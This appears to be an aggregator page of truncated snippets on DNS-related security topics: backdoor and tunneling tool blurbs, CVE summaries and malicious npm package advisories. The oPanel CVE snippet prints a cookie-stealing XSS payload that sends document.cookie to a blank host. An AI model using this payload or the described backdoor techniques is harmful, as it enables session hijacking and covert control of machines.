dnssearch

dnssearch This software is a subdomain enumeration tool. Purpose dnssearch takes an input domain -domain parameter and a wordlist -wordlist parameter , it will then perform concurrent DNS requests using the lines of the wordlist as sub domains eventually bruteforcing every sub domain available on...

DNS_Tunneling

Intro Inspired by recent work I did involving Cobalt Strike DNS beacons, in conjunction with a mission statement to try and evade Microsoft Defender for Endpoint, I spent some time looking into how DNS might be used to transfer a payload to a target machine. I further wanted to challenge myself b...

ddoor

ddoor cross platform backdoor using dns txt records What is ddor? ddor is a cross platform light weight backdoor that uses txt records to execute commands on infected machines. Features Allows a single txt record to have seperate commands for both linux and windows machines List of around 10 publ...

ddoor

ddoor クロスプラットフォームのバックドア。DNS TXTレコードを使用します。 ddoorとは？ ddorは、TXTレコードを使用して感染したマシン上でコマンドを実行する、クロスプラットフォームの軽量バックドアです。 機能 1つのTXTレコードでLinuxとWindows両方のマシンに対して別々のコマンドを指定可能 約10のパブリックDNSサーバーのリストからランダムに選択 予測不能なコールバック時間 カスタムパスワードによるXOR暗号化でTXTレコードを暗号化 DNS over HTTPSをサポート（Keith @keharvに感謝！） Linuxの機能：...

CVE-2026-50980

CVE-2026-50980：基于 DNS 的跨站脚本攻击（XSS）及会话劫持（oPanel） 概述 CVE ID： CVE-2026-50980 产品： oPanel 受影响版本： new Image.src='http://:/log?cookie='+document.cookie;...

dark-doh

dark-doh.exe 公开版本 目的：通过 DoH 下载文件，或下载并执行 shellcode（公开版本中未实现） 运行示例：dark-doh.exe file1 download google yourdomain.com 已添加用于 DNS 区域生成的辅助 Python 脚本（py-prepzones.py）。 !!! 免责声明 !!! 作者对您如何使用 dark-doh.exe 不承担任何责任和/或义务！ 本仓库中的一切内容仅供教育和研究目的使用，作者对您如何使用所发现的数据不承担任何责任。 变更日志： dark-doh-v1.0rc-public.exe 发布： 数据下载 使...

CVE-2026-54347

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and...

Nearly 800 Malicious npm Packages Deliver Cross-Platform RAT and Infostealer

A cluster of nearly 800 malicious packages has been published to the npm registry as part of a new campaign designed to deliver cross-platform malware targeting Windows, Mac, and Linux systems. "These packages appear to use AI slop squatted, or randomly generated typo-squatting package names, but...

EUVD-2026-54487

An injection vulnerability was found in libvirt's virtual network driver. The network XML parser does not strip newline characters from DNS TXT record value attributes and SRV record domain/target attributes. These values are written verbatim into the dnsmasq configuration file generated by the...

CVE-2026-61477

An injection vulnerability was found in libvirt's virtual network driver. The network XML parser does not strip newline characters from DNS TXT record value attributes and SRV record domain/target attributes. These values are written verbatim into the dnsmasq configuration file generated by the...

CVE-2026-61477

An injection vulnerability was found in libvirt's virtual network driver. The network XML parser does not strip newline characters from DNS TXT record value attributes and SRV record domain/target attributes. These values are written verbatim into the dnsmasq configuration file generated by the...

MAL-2026-12866 Malicious code in bnpl-blocks-atom-bnpl-breadcrumbs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 35d35af02d640655669a475465b8fc992dc8b79950584824dab0e86c285f8b01 On require of the package, index.js loads polyfill.js, which fetches a platform-specific opaque binary from obfuscated Cloudflare Workers subdomains...

Malicious code in bnpl-blocks-atom-bnpl-breadcrumbs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 35d35af02d640655669a475465b8fc992dc8b79950584824dab0e86c285f8b01 On require of the package, index.js loads polyfill.js, which fetches a platform-specific opaque binary from obfuscated Cloudflare Workers subdomains...

Malicious code in boxy-live (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2804acf2e6e6e87de8651cf13574290daa1a3a59bb556d8f225d2d6d2abd8783 On package load, index.js requires loader.js, whose top-level start fetches a platform-specific unsigned binary from Cloudflare Workers hosts whose...

Malicious code in delivery-ci-storybook (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e2f7c5d9585ed160843f93122a7c6f3bda50165c4118618ad7aac0bd1b302069 On require of delivery-ci-storybook, index.js loads bridge.js which downloads a platform-specific executable from one of three anonymous Cloudflare...

Malicious code in devplatform-nx-husky (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c4cd991fb1b5e2308797829d38de8ba8b673c91a889e800621d01faef34610d devplatform-nx-husky is a typosquat blending the nx and husky ecosystem terms; its exported class is an inert no-op and the package has no legitimate...

Malicious code in devplatform-react-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 15880efb2feec5e49ab725414e805293700e451ede11a2e4f3b1fe8e2f8f881c On require of the package, index.js loads helpers.js which reconstructs Cloudflare Workers hostnames via array-join string splitting...

Malicious code in evo-web-base-analytics-data (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 01a5ea39e9c916ea6155783b98eeb71551a8a7966edad05852816786e902ac92 On require, index.js auto-loads support.js which reassembles download hosts at runtime from string fragments e.g. Cloudflare Workers subdomains under...

Malicious code in eventea-router (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a8a332e38d2400d3c15f34636f55191ca61c1d52ff49fbead378b9f9239de756 index.js unconditionally requires vendor.js on load. vendor.js selects a platform-specific payload path, downloads an opaque native binary over HTTPS...

MAL-2026-12413 Malicious code in pfp-forms-mobile-sme-group-tiles (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 73a17b2afbbc0ab147312c16ab39ed32f31061c185ff2dedbea76bdf5940dd2a On require, polyfill.js selects a platform-specific path, retrieves an opaque binary over HTTPS from one of several .workers.dev hosts whose names ar...